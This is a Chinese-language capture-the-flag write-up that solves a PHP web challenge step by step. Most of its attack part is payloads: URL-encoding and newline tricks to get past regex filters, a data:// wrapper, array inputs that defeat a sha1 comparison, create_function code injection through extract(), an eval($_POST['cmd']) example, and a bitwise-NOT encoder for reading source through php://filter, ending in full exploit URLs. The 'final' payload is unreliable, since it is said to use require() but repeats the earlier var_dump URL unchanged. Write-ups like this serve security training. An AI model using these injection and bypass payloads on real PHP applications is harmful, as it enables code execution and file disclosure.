打开链接之后发现页面为:
右击查看不了源码,按F12查看源码得到
GFXEIM3YFZYGQ4A= 使用base64,base32与base16一个一个试,得知是base32,解密之后为:1nD3x.php,之后在url上输入查看得到代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
第一步:
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
需要绕过$_SERVER['QUERY_STRING']
的过滤,因为$_SERVER['QUERY_STRING']
不会对url解码进行,$_GET会进行url解码,故可以用urlecode
进行编码绕过
第二步:
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!
";
}
} else die('fxck you! What do you want to do ?!');
过滤了https与http,但是使用的是preg_match(’/^$/’),我们可以用用换行符%0a绕过,payload为:
debu=aqua_is_cute%0a
第三步:
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST
绕过,$_REQUEST在同时接收GET和POST参数时,POST优先级更高,先接受post参数。
故构造post传参:
第四步:
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
可以使用data或者php://input进行绕过;
file=data://text/plain,debu_debu_aqua,后面部分进行url编码的:
file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
第五步:
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?
";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1函数对数组返回为false,故可以构造数组绕过:payload为:
shana[]=12&passwd[]=56
第六步(重点)
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
$code和$arg可控,利用$code('',$arg)进行create_function注入
function a('',$arg){
return $arg
}
例子:
但是如果第二个参数没有限制的话,如$code=return $a+$b;}eval($_POST['cmd']);//,就变成
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST["a"]);\\')
实际上为:
function myFunc($a, $b)
{ return $a+$b; }
eval($_POST['a']);//}
利用取反绕过+伪协议读源码
构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//查看所有变量,注意这里的code,flag,arg需要进行url编码。
最终payload为:
http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
post部分为:
debu=1&file=1
出现上图所示,看到flag在rea1fl4g.php之中,利用取反代码
$a = "php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
$arr1 = explode(' ', $a);
echo "
~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")
";
得到
~(%8f978fc5d0d09996938b9a8dd08d9a9e9bc29c9091899a8d8bd19d9e8c9ac9cbd29a919c909b9ad08d9a8c908a8d9c9ac28d9a9ece9993cb98d18f978f)
经过处理之后为:
~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)
把var_dump(get_defined_vars())替换为require()最终payload为:
http://44416704-ec7d-4081-81fe-ce665b3a450a.node4.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
post传参部分为
debu=1&file=1
得到base64编码
解密得到flag
另一种解法用异或这里没有实现。